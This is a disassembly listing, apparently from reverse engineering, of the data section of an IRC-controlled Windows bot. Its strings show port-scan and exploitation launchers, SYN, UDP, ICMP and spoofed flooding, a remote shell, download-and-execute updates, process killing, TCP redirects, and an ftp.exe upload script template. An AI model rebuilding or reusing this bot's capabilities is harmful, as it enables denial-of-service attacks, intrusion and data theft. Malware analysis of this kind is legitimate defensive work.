		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_433B88	db    2			; DATA XREF: seg000:00411C61o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 4
dword_433BBC	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:loc_411C4Bo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12	db '  Failed to start scan, port is invalid.',0
		align 4
dword_433C08	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:00411B8Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_433C84	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041194Co
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_433CBC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411933o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_433CF0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411913o
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_433D24	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004118FAo
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_433D50	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_41187Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 10h
dword_433D90	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:00411875o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_433DC8	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_41182Fo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_433E04	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:00411825o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 10h
aAll		db 'all',0              ; DATA XREF: seg000:0041180Bo
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:00411780o
					; seg000:loc_41258Bo
		align 4
dword_433E54	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041170Ao
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_433E8C	db    2			; DATA XREF: seg000:loc_4116F5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 4
unk_433EC4	db    2			; DATA XREF: seg000:004116EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_433EF4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004116C2o
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_433F2C	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:loc_4116A6o
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_433F68	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:00411678o
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_433F98	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_411644o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 4
dword_433FDC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0041163Ao
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 4
dword_434014	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_4115E4o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 4
dword_43405C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:004115DDo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
dword_434094	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:0041159Co
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_4340C4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:00411517o
		dd 2029206Ch, 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_4340FC	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:004114A5o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
unk_434124	db    2			; DATA XREF: seg000:0041148Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_13	db 'Failed to start connection thread, error: <%d>.',0
dword_434174	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: seg000:0041141Bo
		dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h,	2E732520h
		dd 0
dword_4341A0	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: seg000:loc_4113ACo
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_4341D0	db    2			; DATA XREF: seg000:004113A2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_434200	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00411371o
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_43422C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00411366o
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_43426C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411326o
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 10h
dword_4342A0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411312o
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_4342D8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041128Do
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_434304	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411252o
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_434348	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411236o
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 10h
dword_434380	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004111B4o
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 10h
dword_4343B0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411179o
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 10h
dword_4343E0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411123o
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_434410	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004110BBo
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_434438	dd 54524150h, 0D732520h, 0Ah					; seg000:00411905o
dword_434444	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00411052o
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: seg000:00411044o
		align 10h
dword_434480	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0041101Bo
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_4344B0	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:00410FB0o
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_4344E0	dd 45444F4Dh, 732520hdword_4344E8	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:00410F26o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_434518	dd 4B43494Eh, 732520h					; seg000:0041174Co
dword_434520	dd 4E494F4Ah, 20732520h, 7325hdword_43452C	dd 54524150h, 732520hdword_434534	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_410E34o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_43457C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410DFDo
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: seg000:00410DACo
		align 10h
dword_4345B0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_410D64o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_4345D8	dd 25207325h, 73252073h, 73253A20h, 0					; seg000:00410DD7o ...
unk_4345E8	db    2			; DATA XREF: seg000:loc_410CD3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_434640	db    2			; DATA XREF: seg000:00410CC9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 10h
unk_434690	db    2			; DATA XREF: seg000:00410C5Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: seg000:00410BB4o
		align 4
dword_4346DC	dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
					; DATA XREF: seg000:00410B55o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	3A73646Eh
		dd 732520h
unk_434708	db    2			; DATA XREF: seg000:00410B3Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 10h
unk_434740	db    2			; DATA XREF: seg000:00410AB4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start search thread, error: <%d>.',0
		align 10h
unk_434790	db    2			; DATA XREF: seg000:00410A3Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_4347D4	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:0041099Co
					; seg000:loc_4115A3o
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_4347F4	db    2			; DATA XREF: seg000:00410987o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_43482C	db    2			; DATA XREF: seg000:loc_410965o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_434878	db    2			; DATA XREF: seg000:0041095Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_4348C4	db    2			; DATA XREF: seg000:004108E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_434904	db    2			; DATA XREF: seg000:0041086Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_15	db ' Failed to start clone thread, error: <%d>.',0
unk_434950	db    2			; DATA XREF: seg000:004107FBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_434994	db    2			; DATA XREF: seg000:00410773o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_4349E0	db    2			; DATA XREF: seg000:004106FBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_434A24	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:00410666o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_17	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_434A70	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:004105ECo
		dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_434AB0	db    2			; DATA XREF: seg000:0041057Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_434B04	db    2			; DATA XREF: seg000:0041050Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_434B44	db    2			; DATA XREF: seg000:0041043Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '  Failed to start redirection thread, error: <%d>.',0
unk_434B98	db    2			; DATA XREF: seg000:004103CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 4
unk_434BE8	db    2			; DATA XREF: seg000:00410344o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_434C38	db    2			; DATA XREF: seg000:004102D5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: seg000:00410251o
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: seg000:00410154o
		align 4
dword_434CA8	dd 54434101h, 204E4F49h, 17325h					; seg000:00411104o
dword_434CB4	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:00410067o
					; seg000:00411BFDo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_19	db '  Failed to start scan thread, error: <%d>.',0
dword_434D00	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040FFF8o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: seg000:0040FFCDo
					; seg000:00411B61o
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: seg000:0040FFC6o
					; seg000:00411B5Ao
		align 4
dword_434D8C	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040FE88o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20	db '  Failed to start scan, no IP specified.',0
		align 4
dword_434DD8	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040FD41o
					; seg000:004119A5o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 4
dword_434E2C	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040FD10o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_21	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_434E78	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040FCA1o
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040FBDAo
		align 4
unk_434EEC	db    2			; DATA XREF: seg000:0040FBC5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_434F38	db    2			; DATA XREF: seg000:0040FB5Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_434F94	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:loc_40FABDo
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 10h
dword_434FE0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040FAB3o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43502C	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040FA39o
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: seg000:0040FA29o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: seg000:0040FA22o
dword_435084	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040F98Do
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4350C0	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:loc_40F8A5o
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_435100	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040F89Eo
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: seg000:0040F887o
aSS_4		db '-s:%s',0            ; DATA XREF: seg000:0040F870o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: seg000:0040F850o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: seg000:0040F81Bo
		align 4
dword_43517C	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040F79Do
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
